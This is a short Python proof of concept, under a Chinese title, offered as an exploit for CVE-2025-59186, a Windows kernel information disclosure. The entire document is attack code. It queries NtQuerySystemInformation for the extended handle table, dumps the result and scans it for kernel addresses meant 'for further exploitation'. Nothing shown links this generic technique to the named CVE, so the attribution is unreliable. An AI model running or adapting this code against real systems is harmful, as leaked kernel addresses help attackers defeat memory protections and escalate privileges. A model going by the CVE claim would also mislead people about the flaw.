CVE-2025-59186 Windows内核敏感信息泄露漏洞

# CVE-2025-59186 - Windows Kernel Information Disclosure PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach for the # Windows Kernel information disclosure vulnerability. # Note: Actual exploitation requires specific kernel structures and offsets # that vary across Windows versions. import ctypes import struct import sys # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 class KernelInfoDisclosure: def __init__(self): self.ntdll = ctypes.WinDLL("ntdll.dll") self.kernel32 = ctypes.WinDLL("kernel32.dll") def trigger_info_leak(self): """ Trigger the Windows Kernel information disclosure by sending a crafted system information query that exposes sensitive kernel memory contents. """ # System Information Class that triggers the vulnerable code path SystemExtendedHandleInformation = 64 # Allocate buffer for system information query buffer_size = 0x100000 # 1MB buffer buffer = ctypes.create_string_buffer(buffer_size) return_length = ctypes.c_ulong(0) # NtQuerySystemInformation - vulnerable API call # The vulnerability exists in how the kernel handles certain # information classes and returns data to user-mode callers status = self.ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, buffer, buffer_size, ctypes.byref(return_length) ) if status == 0: # STATUS_SUCCESS print(f"[+] Successfully retrieved system information") print(f"[+] Return length: {return_length.value}") # Parse the leaked kernel information # Sensitive data may include kernel pointers, token addresses, # and other privileged information leaked_data = buffer.raw[:return_length.value] return leaked_data else: print(f"[-] Query failed with status: 0x{status:08X}") return None def analyze_leaked_data(self, data): """ Analyze the leaked data to extract sensitive kernel information. """ if not data: return # Extract kernel addresses and sensitive pointers # These can be used for further exploitation kernel_addresses = [] for i in range(0, len(data) - 8, 8): value = struct.unpack('<Q', data[i:i+8])[0] # Check if value looks like a kernel address # Kernel addresses on x64 typically start with 0xFFFF... if (value >> 48) == 0xFFFF: kernel_addresses.append(value) print(f"[+] Found {len(kernel_addresses)} potential kernel addresses") for addr in kernel_addresses[:10]: print(f" Kernel address: 0x{addr:016X}") def main(): print("=" * 60) print("CVE-2025-59186 - Windows Kernel Info Disclosure PoC") print("=" * 60) exploit = KernelInfoDisclosure() leaked_data = exploit.trigger_info_leak() exploit.analyze_leaked_data(leaked_data) if __name__ == "__main__": main()